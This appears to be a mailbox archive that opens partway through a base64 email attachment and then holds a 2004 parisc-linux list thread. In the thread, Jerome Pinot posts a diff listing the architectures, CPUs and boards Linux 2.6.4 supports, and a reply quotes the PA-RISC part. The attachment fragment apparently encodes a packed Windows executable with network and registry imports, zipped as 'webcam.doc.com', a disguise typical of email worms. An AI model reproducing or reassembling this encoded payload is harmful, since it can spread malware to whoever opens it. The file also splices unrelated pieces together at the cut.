dtgyRp9lTOpLxoZnC0Rlrm95SIgrhzDYl2QoUwoVHIIwDliEPUtGpMBzVxfNkm0uFqpisQyE
XdmbiwUwQRgIE2ZuYbnNloHRmksbyaD88L3ZjK64EdJhutvs0AlwihDPbW0fTJOiCtZAIcsQ
4fBoCzjW0oKzF+wnvgq8VBnJTqrVZSaOFIaQbBLEzk6apSTZ6tEAZ2bqHs+0S2VJDk9rDJhd
OEsbVi11ZRDGDLH3vSsMlBpFaGN3O64A3lGIUQCDTgItta4CA1B1pXMK+E6zGussh0xXIoAu
4EItULO1hiW1cDl0CiP2R2hfTzhJaW5AG25un+FAAak1tQLLsm22ASNA/3MCBBYQLMuyLBMM
CTcPsizLsjQXFRQRVhAsy28DC93/h/w/UEUAAEwBBADSSDvgAA8CCwECOABWVEeWUE4EOxHM
nbXJEHELAhcz98huFgcMoAFnTQEeSzawszQQBwYDfFexHDhpjGWQAQAIBQp7V4BgUh53tpLr
LlAz3wqQxObCvusERSAucrpncwBBI4pgJxLEugtpVEACLiaUdCcvI/wDATYnZrovZv7ALnJz
cmProAZPnPzZ3EobZmvhlAEAAAAAAAAAEgD/AAAAAAAAAAAAAABgvhVgQQCNvuuv/v9Xg83/
6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D
7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUg
QQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogH
R0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5SQEAAIoHRyzoPAF394A/BXXy
iweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AkAEAiwcJwHRFi18EjYQwELUBAAHz
UIPHCP+WnLUBAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+WoLUBAAnAdAeJA4PDBOvY/5ak
tQEAYenHiP7/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgADAAAAIAAAgA4A
AACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgAAIAAAAAAAAAAAAAAAAAAAAEA
BwQAAFgAAADUwAEA6AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAcEAACAAAAAwMMBACgB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBlAAAAqAAAgAAAAAAAAAAAAAAAAAAAAQAHBAAA
wAAAAOzEAQAiAAAAAAAAAAAAAADQkAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAA
AAAAAAAAAAAAAMz//wBoV1gAAAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIj
RERERERERERERERSUiIiI0RERERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERE
lURESVRSUiIiI0SIiIiIRElVVVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRS
UiIiI0RERERERERElUlUUlIiIiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SI
iIiIiIiIRElEUlIiIiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0RERERERERE
REREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIi
IiNEOZJEQkRERERERFJSIiIjRDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3
ckSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERE
RFJSIiIjRDMyIiJERERERERSUiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIj
QkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB/gAAA//////uJMBACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA
/wD/AP//AAD///8AAAAAAAAAAAAAd3d3d3dwAAD//5//n3AAAP//eZmfcAAA9ET3n59wAAD/
//95n3AAAPRERPefcAAA//////9wAAD0RERET3AAAP//////cAAA9ERERE9wAAD//////3AA
AP//////cAAA8PDw8PDwAAAPj4+Pj4AAAAAAAAAAAADABwAAwAMAAMADAADAAwAAwAMAAMAD
AADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMAHAADqrwAA4JQBAAAAAQACACAg
EAABAAQA6AIAAAEAEBAQAAEABAAoAQAAAgAAAAAAAAAAAAAAAAAAANTFAQCcxQEAAAAAAAAA
AAAAAAAA4cUBAKzFAQAAAAAAAAAAAAAAAADuxQEAtMUBAAAAAAAAAAAAAAAAAPvFAQC8xQEA
AAAAAAAAAAAAAAAABsYBAMTFAQAAAAAAAAAAAAAAAAASxgEAzMUBAAAAAAAAAAAAAAAAAAAA
AAAAAAAAHMYBACrGAQA6xgEAAAAAAEjGAQAAAAAAVsYBAAAAAABoxgEAAAAAAHTGAQAAAAAA
CwAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAGlwaGxwYXBpLmRsbABVU0VSMzIu
ZGxsAFdJTklORVQuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJl
c3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABHZXROZXR3b3JrUGFyYW1zAAB3c3By
aW50ZkEAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0YXRlAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAAJS10MK52xboAXgAAAF4AAA4A
AAAAAAAAAAAgAAAAAAAAAHdlYmNhbS5kb2MuY29tUEsFBgAAAAABAAEAPAAAACxeAAAAAA==


------=_NextPart_000_0005_00005D12.00003887--




From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pinotj@club-internet.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [DOC] Linux
Date: Sat, 20 Mar 2004 10:02:16 CET
Lines: 487
Approved: news@gmane.org
Message-ID: <mnet2.1079773336.27405.pinotj@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623287 7070 80.91.229.3 (22 Nov 2014 02:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:07 +0000 (UTC)
Cc: willy@debian.org, joey@infodrom.org, ajwalker@broadpark.no
To: parisc-linux@parisc-linux.org
Original-X-From: pinotj@club-internet.fr  Sat Mar 20 02:02:18 2004
Return-Path: <pinotj@club-internet.fr>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relay-5m.club-internet.fr (relay-5m.club-internet.fr
	[194.158.104.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25C024829
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Mar 2004 02:02:18 -0700 (MST)
Original-Received: from club-internet.fr (flashmail-2m.cs.clubint.net [172.16.20.61])
	by relay-5m.club-internet.fr (Postfix) with SMTP
	id 874A1E0DB; Sat, 20 Mar 2004 10:02:16 +0100 (CET)
Original-Received: from [218.233.102.150] by flashmail-2m.club-internet.fr via html
	interface
X-Mailer: Medianet/v2.0
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 09:02:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21139

Thanks a lot for your answers. Seems that PA-RISC linux community are quit=
e reactive :-)

Some people ask me about the complete file, it's not on Internet yet so I =
first post it here. There is probably a lot of modifications to do but it'=
s a good start.

Regards,

Jerome Pinot


diff -Nru a/Documentation/Arch b/Documentation/Arch
--- a/Documentation/Arch	1970-01-01 09:00:00.000000000 +0900
+++ b/Documentation/Arch	2004-03-17 14:14:11.000000000 +0900
=40=40 -0,0 +1,444 =40=40
+
+March 2004		Supported architectures for Linux	v2.6.4
+			=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=
=7E=7E=7E=7E=7E=7E=7E=7E=7E
+
+
+The following is a quite complete list of all the architectures supported
+by Linux. Of course, you will find here Alpha, ARM, ARM26, CRIS, H8300,
+i386, IA-64, M68000, MIPS, PA-RISC, PPC, S/390, SuperH, SPARC, v850 and
+x86-64. But you will find too a complete list of CPUs and board supported
+by the kernel. For each part, first list means =22board=22 and second one
+means =22CPU=22.
+
+
+ Content:
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	1. i386		7. IA-64		13. S/390 (32/64)
+	2. Alpha	8. M68K			14. SuperH
+	3. ARM		9. MIPS (32/64, LE/BE)	15. SPARC
+	4. ARM26	10. PA-RISC (32/64)	16. UltraSPARC
+	5. CRIS		11. PPC			17. v850
+	6. H8300	12. PPC64		18. x86-64
+	=

+  =

+
+ 1. i386
+ =7E=7E=7E=7E=7E=7E=7E
+	AMD Elan
+	NUMAQ (IBM/Sequent)
+	PC-compatible	(generic)
+	SGI 320/540 (Visual Workstation)
+	Summit/EXA (IBM x440)
+	Unisys ES7000 IA32
+	Voyager (NCR)
+	generic SMP
+	generic SMP with more than 8 CPUs
+		=

+		AMD 386DX/DXL/SL/SLC/SX
+		AMD 486DX/DX2/DX4/SL/SLC/SLC2/SLC3/SX/SX2
+		AMD Elan
+		AMD K5
+		AMD K6/K6-II/K6-III
+		AMD K7/Athlon/Duron/Thunderbird
+		AMD K8/Athlon64/Hammer/Opteron
+		Cyrix 386DX/DXL/SL/SLC/SX
+		Cyrix 486DLC/DLC2/DX/DX2/DX4/SL/SLC/SLC2/SLC3/SX/SX2
+		Cyrix III
+		IBM 486DX/DX2/DX4/SL/SLC/SLC2/SLC3/SX/SX2
+		IDT Winchip
+		IDT Winchip 2
+		IDT Winchip 2A/3
+		Intel 386DX/DXL/SL/SLC/SX
+		Intel 486DX/DX2/DX4/SL/SLC/SLC2/SLC3/SX/SX2
+		Intel Celeron (Coppermine)
+		Intel Celeron (P4-based)
+		Intel Celeron (pre-Coppermine)
+		Intel Pentium
+		Intel Pentium (without TSC)
+		Intel Pentium 4/4 M/4 Xeon
+		Intel Pentium II
+		Intel Pentium III/III Xeon
+		Intel Pentium M
+		Intel Pentium MMX =

+		Intel Pentium Pro
+		NexGen Nx586
+		TI 486DLC/DLC2
+		Transmeta Crusoe
+		UMC 486SX-S
+		UMC U5D/U5S
+		VIA C3
+		VIA C3-2 (Nehemia)
+		generic x86
+
+  (see Documentation/i386)
+
+ 2. Alpha
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	Alcor/Alpha-XLT	(AS 600)
+	Alpha-XL	(XL-233, XL-266)
+	AlphaBook1	(Alpha laptop)
+	Avanti		(AS 200, AS 205, AS 250, AS 255, AS 300, AS 400)
+	Cabriolet	(AlphaPC64, AlphaPCI64)
+	DP264		(DP264)
+	EB164		(EB164 21164 evaluation board)
+	EB64+		(EB64+ 21064 evaluation board)
+	EB66		(EB66 21066 evaluation board)
+	EB66+		(EB66+ 21066 evaluation board)
+	Eiger		(OEM, Typhoon/Tsunami chipset)
+	Jensen		(DECpc 150, DEC 2000 model 300, DEC 2000 model 500)
+	LX164		(AlphaPC164-LX)
+	Lynx		(AS 2100A)
+	Marvel		(AlphaServer ES47/ES80/GS1280)
+	Miata		(Personal Workstation 433a/au, 500a/au, 600a/au)
+	Mikasa		(AS 1000)
+	Nautilus	(AMD 751 & ALI 1543C chipset)
+	Noritake	(AS 1000A, AS 600A, AS 800)
+	PC164		(AlphaPC164)
+	Platform2000	=

+	Rawhide		(AS 1200, AS 4000, AS 4100)
+	Ruffian		(RPX164-2, AlphaPC164-UX, AlphaPC164-BX)
+	RX164		=

+	SX164		(AlphaPC164-SX)
+	Sable		(AS 2000, AS 2100)
+	Shark		(DS 20L)
+	Takara		(Takara)
+	Titan		(AlphaServer ES45/DS25)
+	Wildfire	(AlphaServer GS 40/80/160/320)
+	generic
+   =

+  <http://www.alphalinux.org>
+
+ 3. ARM
+ =7E=7E=7E=7E=7E=7E
+	ADIFCC-based
+	Anakin			(StrongARM based SA110)
+	CLPS711x/EP721x-based
+	Cirrus-CL-PS7500FE
+	Co-EBSA285
+	EBSA-110		(StrongARM from Digital)
+	Epxa10db		(Altera's Excalibur XA10)
+	FootBridge
+	IOP3xx-based
+	Integrator
+	LinkUp-L7200		(ARM720T processor)
+	PXA250/210-based
+	Risc-PC			(Acorn)
+	SA1100-based
+	Shark
+	=

+  (see Documentation/arm)
+  <http://www.arm.linux.org.uk>
+
+ 4. ARM26
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	Acorn A5000		=

+	Acorn Archimedes (ARM2)
+
+ 5. CRIS
+ =7E=7E=7E=7E=7E=7E=7E
+	CRIS V32 (200LX)
+	ETRAX 100LX version 1
+	ETRAX 100LX version 2
+	xsim ETRAX simulator (100LX)
+
+  (see Documentation/cris)
+
+ 6. H8300
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	Flashmicom AE-3068/69		(Evaluation Board)
+ 	Flashmicom AKI-H8/3068F		(LAN Board)
+	Flashmicom AKI-H8/3069F		(LAN Board)
+	H8/300H	Simulator		(GDB Simulator)
+	H8MAX				(Evaluation Board)
+	H8S Simulator			(GDB Simulator)
+	Renesas EDOSK-2674R		(Evaluation Board)
+
+		H8/3001,3002,3003
+		H8/3006,3007
+		H8/3044,3045,3046,3047,3048,3052
+		H8/3065,3066,3067,3068,3069
+		H8S/2670,2673,2674R,2675,2676
+
+  (to use with uClinux)
+
+ 7. IA-64
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	DIG-compliant	(Developer's Interface Guide compliant)
+	HP-zx1/sx1000	(HP systems)
+	SGI-SN2		(SGI Altix systems)
+	Ski-simulator	(HP simulator)
+	=

+		Intel Itanium
+		Intel Itanium 2 (McKinley)
+
+  (see Documentation/ia64)
+  <http://www.linuxia64.org>
+
+ 8. M68k
+ =7E=7E=7E=7E=7E=7E=7E
+	Amiga
+	Apollo		(MC680x0-based, as the DN3500)
+	Atari		(68000-based, including the TT, Falcon and Medusa)
+	BVM Ltd. VME	(680x0 based as BVME4000, BVME6000)
+	HP9000/300
+	Hades		(Hades Atari clone)
+	Macintosh	(Apple Macintosh series)
+ 	Sun 3		(3/50, 3/60, 3/1xx, 3/2xx systems)
+	Sun 3x
+	Motorola VME	(680x0 based as MVME147, MVME162, MVME166, MVME167, =

+				MVME172, and MVME177)
+	Motorola Q40/60	(68040-based)
+	=

+		MC68020
+		MC68030
+		MC68040
+		MC68060
+	no MMU:
+		Motorola MC68EZ328
+		Motorola MC68VZ328
+		Motorola MC68328
+		Motorola MC68360
+		Motorola MCF5206 (ColdFire)
+		Motorola MCF5206e (ColdFire)
+		Motorola MCF5249 (ColdFire)
+		Motorola MCF5272 (ColdFire)
+		Motorola MCF5282 (ColdFire)
+		Motorola MCF5307 (ColdFire)
+		Motorola MCF5407 (ColdFire)
+
+  (see Documentation/m68k)
+	=

+ 9. MIPS (32/64, LE/BE)
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	ACER PICA
+	AMD/Alchemy Au1x00 	(PB1000/1100/1500)
+	AMD/Alchemy Au1x00 	(DB1000/1100/1500)
+	AMD/Alchemy Au1x00 	(Bosporus, Mirage)
+	AMD/Alchemy Au1x00 	(MyCable XXS1500, 4G Systems MTX-1)
+	Atlas board		(QED R5231-based)
+	Baget series		(Russian embedded system)
+	Broadcom BCM1xxx 	(BCM91250A-SWARM, BCM91250E-Sentosa)
+	Broadcom BCM1xxx 	(BCM91125E-Rhone, BCM91120x-Carmel)
+	Broadcom BCM1xxx 	(BCM91250PT-PTSWARM, BCM91250C2-LittleSur)
+	Broadcom BCM1xxx 	(BCM91120C-CRhine, BCM91125C-CRhone, generic)
+	CASIO CASSIOPEIA E-10/15/55/65
+	Cobalt Server
+	DECstations		(2100, 3100, 5000 family, 5900 family)
+	Galileo EV64120		(Evaluation board, MIPS R5000 compatible)
+	Galileo EV96100		(Evaluation board, MIPS R5000 compatible)
+	Galileo Technology	(GT96100 communications controller card)
+	Globspan IVR		(QED RM5231 R5000 MIPS core)
+	Hewlett Packard		(LaserJet board)
+	IBM WorkPad z50
+	ITE 8172G	=

+	ITE 8172SBC
+	Jazz Family		(R4030 chipset)
+	LASAT Networks platforms
+	Malta board
+	MIPS Magnum 4000
+	MIPS Millenium
+	Momentum Jaguar board
+	Momentum Ocelot board
+	Momentum Ocelot-C board
+	Momentum Ocelot-G board
+	NEC DDB Vrc-5074	(VR5000-based)
+	NEC DDB Vrc-5076	(R5432-based)
+	NEC DDB Vrc-5477	(R5432-based)
+	NEC Eagle/Hawk board
+	NEC Osprey board
+	NEC VR41XX
+	Olivetti M700-10
+	PMC-Sierra Yosemite	(evaluation board)
+	Rockhopper board	(R5432/R5500)
+	SolutionGear board	(R5432/R5500)
+	SEAD board
+	SGI IP22		(Indy/Indigo2)
+	SGI IP27		(Origin200/2000)
+	SGI IP32		(O2)
+	SNI RM200 PCI
+	TANBAC TB0219		(base board)
+	TANBAC TB0226		(Mbase)
+	TANBAC TB0229		(VR4131DIMM)
+	Toshiba JMR-TX3927
+	Victor MP-C303/304
+	ZAO Networks Capcella
+
+		R3000
+		R39XX
+		R41xx
+		R4300
+		R4x00	(including 4000/4400/4600/4700)
+		R49XX
+		R5000
+		R52xx	(Nevada)
+		R6000
+		R6000A
+		RM7000
+		R8000	(incomplete support)
+		R10000
+		RM9000
+		SB1
+		=

+  (see Documentation/mips)
+  <http://www.linux-mips.org/>
+
+ 10. PA-RISC (32/64)
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	PA-7000         (PCX-S)
+	PA-7100/PA-7150 (PCX-T)
+	PA-7100LC       (PCX-L)
+	PA-7200         (PCX-T')
+	PA-7300LC       (PCX-L2)
+	PA-8000         (PCX-U)
+	PA-8200         (PCX-U+)
+	PA-8500         (PCX-W)
+	PA-8600         (PCX-W+)
+	PA-8700         (PCX-W2)
+
+	705, 710, 720, 730, 750
+       712, 715, 725, 735, 755
+       B, C, J class workstations
+       D, K, R, A, L, N class servers and rpXXXX servers
+       T and V class servers are not supported
+       Superdome will need some additional work.
+
+  (see Documentation/parisc)
+  <http://www.parisc-linux.org>
+
+ 11. PowerPC
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+ 	Amiga PowerUP		(APUS)
+	BSE-IP
+	Cogent Willow
+	Dependable Compt. Syst.	(SM850)
+	Galileo			(EV-64260-BP)
+	IBM			(Spruce)
+	IKENDI AG		(FPS850L)
+	MicroSys		(IP860)
+	Motorola		(LoPEC, MCPN765, MVME5100)
+	Motorola		(PowerPlus, PrPMC750, PrPMC800)
+	Motorola CPM		(MPC8260)
+	Motorola MBX		(MPC821 and MPC860)
+	Motorola Sandpoint X3 	(any flavor)
+	Motorola WinCept 	(MPC821)
+	Multidata		(HERMES)
+ 	RPX-Lite		(PC104 form-factor SBC based on the MPC823)
+	RPX-Classic		(Credit-card-size SBC based on the MPC860)
+	RPX-Super
+	SBS-Adirondack
+	SBS-K2
+	SBS-Palomar4
+	SBS8260
+	Siemens AG		(PCU=5FE)
+	Speech Design		(SPD823TS, IVMS8, IVML24)
+	Synergy Microsystems 	(Gemini)
+	TQ Components		(TQM823L/850L/855L/860L)
+	TQ Components		(TQM8260)
+	Wind River Systems 	(EST8260)
+	=

+ 		601, 603, 604
+		740, 750, 7400
+		IBM 403, 405
+		IBM 970 (G5)
+		Motorola 821, 823, 850, 855, 860, 8260
+		POWER 3, POWER4
+ =

+  (see Documentation/powerpc)
+ =

+ 12. PowerPC 64
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	iSeries
+	pSeries / PowerMac G5
+	=

+  (see Documentation/powerpc)
+
+ 13. S/390 (32/64)
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	IBM eServer zSeries model z800 and z900
+	IBM eServer zSeries model z990
+	S/390 model G5 and G6
+
+  (see Documentation/s390)
+
+ 14. SuperH
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	ADX
+	BigSur
+	CAT68701
+	CqREEK			(SH7708 or SH7750)
+ 	DataMyte 4000		(Industrial Digital Assistant)
+	Eclipse International 	(EC3104 as Harris AD2000)
+	Hitachi			(SH7709, SH7750, SH7751)
+	HP jornada		(HP620, HP680, HP690)
+	MPC1211
+	Renesas SystemH		(7751R)
+	SEGA Dreamcast
+	SEGA Saturn
+	SH2000			(SH7709A)
+	STB1=5FHarp
+	STB1=5FOverdrive
+	SnapGear SH		(SecureEdge5410)
+	generic
+
+		SH-2
+			SH7604
+		SH-3
+			SH7300
+			SH7707
+			SH7708
+			SH7709
+		SH-4
+			SH7750
+			SH7751/SH7751R
+			SH7760
+			ST40STB1
+
+  (see Documentation/sh)
+  <http://www.linux-sh.org>
+
+ 15. SPARC
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E
+ 	Sun 4
+	generic
+
+  (see Documentation/sparc)
+ <http://www.ultralinux.org>
+
+ 16. UltraSPARC
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+	generic
+
+  (see Documentation/sparc)
+  <http://www.ultralinux.org>
+
+ 17. v850
+ =7E=7E=7E=7E=7E=7E=7E=7E
+	AS85EP1
+	Anna
+	GDB
+	RTE-V850E/MA1-CB
+	RTE-V850E/NB85E-CB
+	RTE-V850E/ME2-CB
+	sim85e2c
+	sim85e2s
+	NA85E2C-FPGA
+
+  (to use with uClinux)
+  =

+ 18. x86-64
+ =7E=7E=7E=7E=7E=7E=7E=7E=7E=7E
+ 	AMD K8/Opteron/Athlon64
+	Intel x86-64
+	generic
+
+  (see Documentation/x86=5F64)
+  <http://www.x86-64.org>
+  =

+=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F
+Written by Jerome Pinot <pinotj AT club-internet DOT fr> the 14/03/2004
+Modified by =

+  <willy AT debian DOT org>
+  <joey AT infodrom DOT org>
+  <macro AT ds2.pg.gda DOT pl>
+  <ajwalker AT broadpark DOT no>
+



From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [DOC] Linux
Date: Sat, 20 Mar 2004 11:40:11 +0100
Organization: ESIEE
Lines: 46
Approved: news@gmane.org
Message-ID: <20040320114011.20de3426.varenet@esiee.fr>
References: <mnet2.1079773336.27405.pinotj@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623287 7073 80.91.229.3 (22 Nov 2014 02:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:07 +0000 (UTC)
Cc: willy@debian.org, ajwalker@broadpark.no, joey@infodrom.org,
	parisc-linux@parisc-linux.org
To: pinotj@club-internet.fr
Original-X-From: varenet@esiee.fr  Sat Mar 20 03:40:16 2004
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep18-int.chello.at (viefep18-int.chello.at [213.46.255.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2A344838
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Mar 2004 03:40:15 -0700 (MST)
Original-Received: from bibou ([212.186.189.113]) by viefep18-int.chello.at
	(InterMail vM.6.00.05.02 201-2115-109-103-20031105) with SMTP
	id <20040320104013.ZBWE1549.viefep18-int.chello.at@bibou>;
	Sat, 20 Mar 2004 11:40:13 +0100
In-Reply-To: <mnet2.1079773336.27405.pinotj@club-internet.fr>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 10:40:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21140

On Sat, 20 Mar 2004 10:02:16 CET
pinotj@club-internet.fr wrote:


> +
> + 10. PA-RISC (32/64)
> + ~~~~~~~~~~~~~~~~~~~
> +	PA-7000         (PCX-S)
> +	PA-7100/PA-7150 (PCX-T)
> +	PA-7100LC       (PCX-L)
> +	PA-7200         (PCX-T')
> +	PA-7300LC       (PCX-L2)
> +	PA-8000         (PCX-U)
> +	PA-8200         (PCX-U+)
> +	PA-8500         (PCX-W)
> +	PA-8600         (PCX-W+)
> +	PA-8700         (PCX-W2)
> +
> +	705, 710, 720, 730, 750
> +       712, 715, 725, 735, 755
> +       B, C, J class workstations
> +       D, K, R, A, L, N class servers and rpXXXX servers

